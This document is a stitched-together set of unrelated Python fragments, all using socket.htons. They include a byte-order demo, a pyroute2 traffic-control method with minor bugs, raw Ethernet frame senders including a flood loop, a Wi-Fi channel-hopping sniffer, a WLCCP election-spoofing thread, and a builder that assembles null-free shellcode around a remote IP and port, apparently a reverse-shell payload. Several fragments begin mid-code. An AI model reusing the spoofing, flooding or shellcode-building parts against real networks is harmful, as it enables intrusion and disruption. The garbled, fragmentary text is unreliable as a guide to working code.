import socket Int32Bit = 589623 Int16Bit = 566 #Convert integers to and from host to network byte order Int32InHostFormat = socket.ntohl(Int32Bit) #Convert a 16 bit integer from network byte order to host byte order Int16InHostFormat = socket.ntohs(Int16Bit) print("32 bit Integer", Int32Bit, " converted from Network to Host Byte Order: ", Int32InHostFormat) print("16 bit Integer", Int16Bit, " converted from Network to Host Byte Order: ", Int16InHostFormat) #Convert integers to and from host to network byte order Int32InNetworkFormat = socket.htonl(Int32InHostFormat) #Convert a 16 bit integer from network byte order to host byte order Int16InNetworkFormat = socket.htons(Int16InHostFormat) print("32 bit Integer", Int32InHostFormat, " converted from Host to Network Byte Order: ", Int32InNetworkFormat) print("16 bit Integer", Int16InHostFormat, " converted from Host to Network Byte Order: ", Int16InNetworkFormat)
def tc(self, command, kind, index, handle=0, **kwarg): ''' "Swiss knife" for traffic control. With the method you can add, delete or modify qdiscs, classes and filters. * command -- add or delete qdisc, class, filter. * kind -- a string identifier -- "sfq", "htb", "u32" and so on. * handle -- integer or string Command can be one of ("add", "del", "add-class", "del-class", "add-filter", "del-filter") (see `commands` dict in the code). Handle notice: traditional iproute2 notation, like "1:0", actually represents two parts in one four-bytes integer:: 1:0 -> 0x10000 1:1 -> 0x10001 ff:0 -> 0xff0000 ffff:1 -> 0xffff0001 For pyroute2 tc() you can use both forms: integer like 0xffff0000 or string like 'ffff:0000'. By default, handle is 0, so you can add simple classless queues w/o need to specify handle. Ingress queue causes handle to be 0xffff0000. So, to set up sfq queue on interface 1, the function call will be like that:: ip = IPRoute() ip.tc("add", "sfq", 1) Instead of string commands ("add", "del"...), you can use also module constants, `RTM_NEWQDISC`, `RTM_DELQDISC` and so on:: ip = IPRoute() ip.tc(RTM_NEWQDISC, "sfq", 1) More complex example with htb qdisc, lets assume eth0 == 2:: # u32 --> +--> htb 1:10 --> sfq 10:0 # | | # | | # eth0 -- htb 1:0 -- htb 1:1 # | | # | | # u32 --> +--> htb 1:20 --> sfq 20:0 eth0 = 2 # add root queue 1:0 ip.tc("add", "htb", eth0, 0x10000, default=0x200000) # root class 1:1 ip.tc("add-class", "htb", eth0, 0x10001, parent=0x10000, rate="256kbit", burst=1024 * 6) # two branches: 1:10 and 1:20 ip.tc("add-class", "htb", eth0, 0x10010, parent=0x10001, rate="192kbit", burst=1024 * 6, prio=1) ip.tc("add-class", "htb", eht0, 0x10020, parent=0x10001, rate="128kbit", burst=1024 * 6, prio=2) # two leaves: 10:0 and 20:0 ip.tc("add", "sfq", eth0, 0x100000, parent=0x10010, perturb=10) ip.tc("add", "sfq", eth0, 0x200000, parent=0x10020, perturb=10) # two filters: one to load packets into 1:10 and the # second to 1:20 ip.tc("add-filter", "u32", eth0, parent=0x10000, prio=10, protocol=socket.AF_INET, target=0x10010, keys=["0x0006/0x00ff+8", "0x0000/0xffc0+2"]) ip.tc("add-filter", "u32", eth0, parent=0x10000, prio=10, protocol=socket.AF_INET, target=0x10020, keys=["0x5/0xf+0", "0x10/0xff+33"]) ''' flags_base = NLM_F_REQUEST | NLM_F_ACK flags_make = flags_base | NLM_F_CREATE | NLM_F_EXCL flags_change = flags_base | NLM_F_REPLACE flags_replace = flags_change | NLM_F_CREATE commands = {'add': (RTM_NEWQDISC, flags_make), 'del': (RTM_DELQDISC, flags_make), 'remove': (RTM_DELQDISC, flags_make), 'delete': (RTM_DELQDISC, flags_make), 'add-class': (RTM_NEWTCLASS, flags_make), 'del-class': (RTM_DELTCLASS, flags_make), 'change-class': (RTM_NEWTCLASS, flags_change), 'replace-class': (RTM_NEWTCLASS, flags_replace), 'add-filter': (RTM_NEWTFILTER, flags_make), 'del-filter': (RTM_DELTFILTER, flags_make), 'change-class': (RTM_NEWTFILTER, flags_change), 'replace-filter': (RTM_NEWTFILTER, flags_replace)} if isinstance(command, int): command = (command, flags_make) command, flags = commands.get(command, command) msg = tcmsg() # transform handle, parent and target, if needed: handle = transform_handle(handle) for item in ('parent', 'target', 'default'): if item in kwarg and kwarg[item] is not None: kwarg[item] = transform_handle(kwarg[item]) msg['index'] = index msg['handle'] = handle opts = kwarg.get('opts', None) if kind == 'ingress': msg['parent'] = TC_H_INGRESS msg['handle'] = 0xffff0000 elif kind == 'tbf': msg['parent'] = TC_H_ROOT if kwarg: opts = get_tbf_parameters(kwarg) elif kind == 'htb': msg['parent'] = kwarg.get('parent', TC_H_ROOT) if kwarg: if command in (RTM_NEWQDISC, RTM_DELQDISC): opts = get_htb_parameters(kwarg) elif command in (RTM_NEWTCLASS, RTM_DELTCLASS): opts = get_htb_class_parameters(kwarg) elif kind == 'netem': msg['parent'] = kwarg.get('parent', TC_H_ROOT) if kwarg: opts = get_netem_parameters(kwarg) elif kind == 'sfq': msg['parent'] = kwarg.get('parent', TC_H_ROOT) if kwarg: opts = get_sfq_parameters(kwarg) elif kind == 'u32': msg['parent'] = kwarg.get('parent') msg['info'] = htons(kwarg.get('protocol', 0) & 0xffff) |\ ((kwarg.get('prio', 0) << 16) & 0xffff0000) if kwarg: opts = get_u32_parameters(kwarg) elif kind == 'fw': msg['parent'] = kwarg.get('parent') msg['info'] = htons(kwarg.get('protocol', 0) & 0xffff) |\ ((kwarg.get('prio', 0) << 16) & 0xffff0000) if kwarg: opts = get_fw_parameters(kwarg) elif kind == 'bpf': msg['parent'] = kwarg.get('parent', TC_H_ROOT) msg['info'] = htons(kwarg.get('protocol', ETH_P_ALL) & 0xffff) |\ ((kwarg.get('prio', 0) << 16) & 0xffff0000) if kwarg: opts = get_bpf_parameters(kwarg) else: msg['parent'] = kwarg.get('parent', TC_H_ROOT) if kind is not None: msg['attrs'] = [['TCA_KIND', kind]] if opts is not None: msg['attrs'].append(['TCA_OPTIONS', opts]) return self.nlm_request(msg, msg_type=command, msg_flags=flags)
#!/usr/bin/python # -*- coding: utf-8 -*- import socket import struct rawSocket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800)) #rawSocket.bind(("eth0", socket.htons(0x0800))) rawSocket.bind(("enp0s31f6", socket.htons(0x0800))) # layer 2 message, then data # src mac / dst mac / eth type inet_header = struct.pack("!6s6s2s", '\xaa\xaa\xaa\xaa\xaa\xaa', '\xbb\xbb\xbb\xbb\xbb\xbb', '\x08\x00') # 14 bytes print len(inet_header) rawSocket.send(inet_header + "Anything")
def fix_msg(msg, kwarg): msg['info'] = htons(kwarg.get('protocol', protocols.ETH_P_ALL) & 0xffff) |\ ((kwarg.get('prio', 0) << 16) & 0xffff0000)
def unpack(self, buf): self.dest_mac, self.src_mac, self.eth_proto = self._packetStrut.unpack_from( buf) self.eth_proto = socket.htons(self.eth_proto)
except: sys.exit('No valid interface was given.') # Change channels def channel_swap(): # time.sleep(2) while True: for channel in range(1, 14): time.sleep(0.3) subprocess.run(['iwconfig', interface, 'channel', str(channel)]) # Socket setup sweeper = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003)) # Bind socket to interface sweeper.bind((interface, 0x0003)) # This is the main function. It will grab a packet and decode it's headers def sw33p(): i = 0 while True: packet = sweeper.recvfrom(2048)[0] th = s_decode.TypeHeader(packet) fdh = s_decode.FixedDataHeader(packet) tdh = s_decode.TaggeDataHeader(packet) if th.get_type() == 'Frame': source = th.get_source() destination = th.get_destination()
#!/usr/bin/python import socket import struct rawSocket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0X0800)) rawSocket.bind(("enp7s0", socket.htons(0X0800))) packet = struct.pack("!6s6s2s", '\xaa\xaa\xaa\xaa\xaa\xaa', '\xbb\xbb\xbb\xbb\xbb\xbb', '\x08\x00') #rawSocket.send(packet+"Hello there") for i in range(99999): print "Hello there :" + str(i) rawSocket.send(packet + "Hello there :" + str(i))
def run(self): self.parent.log("WLCCP: Election Thread started") header = wlccp_header(0xc1, 0x0, 0x8003, 0x41, 0x0, 0x2800, 0x0, dumbnet.eth_aton("00:00:00:00:00:00"), 0x2, dumbnet.eth_aton(self.mac)) h_data = header.render("%s\x00\x01\x00\x00\xff\x00%s\x00\x00\x00\x00\x00\x02\x00\x00\x00\x05%s%s%s%s%s%s%s%s" % ( dumbnet.eth_aton(self.mac), dumbnet.eth_aton(self.mac), self.BLOB1, dumbnet.eth_aton(self.mac), dumbnet.ip_aton(self.ip), self.BLOB2, dumbnet.ip_aton(self.ip), self.BLOB3, self.BLOB4, self.BLOB5 ) ) data = dumbnet.eth_pack_hdr(dumbnet.eth_aton(self.WLCCP_DST_MAC), dumbnet.eth_aton(self.mac), socket.htons(self.WLCCP_ETH_TYPE)) + h_data while self.running: if self.parent.dumbnet: self.parent.dumbnet.send(data) for x in xrange(self.delay): if not self.running: break time.sleep(1) self.parent.log("WLCCP: Election Thread terminated")
packed_int32 = socket.inet_aton(sys.argv[1]) remote_ip_nbo = struct.unpack("<L", packed_int32)[0] except: print "Invalid IP address" sys.exit(1) if has_null(remote_ip_nbo, 4): print "ERROR: IP address contains null" sys.exit(1) port = 0 # port in 16-bit network byte order try: port = int(sys.argv[2]) if port < 0 or port > 65535: print "Invalid port number. Must be a number 0-65535." sys.exit(1) port = socket.htons(port) except: print "Invalid port number" sys.exit(1) if has_null(port, 2): print "ERROR: Port contains null" sys.exit(1) print "Building %s" % DESCRIPTION print "Assembling..." r = os.system("nasm -f elf32 -o %s.o -DREMOTE_IP=%d -DREMOTE_PORT=%d %s.nasm" % (TARGET, remote_ip_nbo, port, TARGET)) if r != 0: print "nasm returned error" sys.exit(1)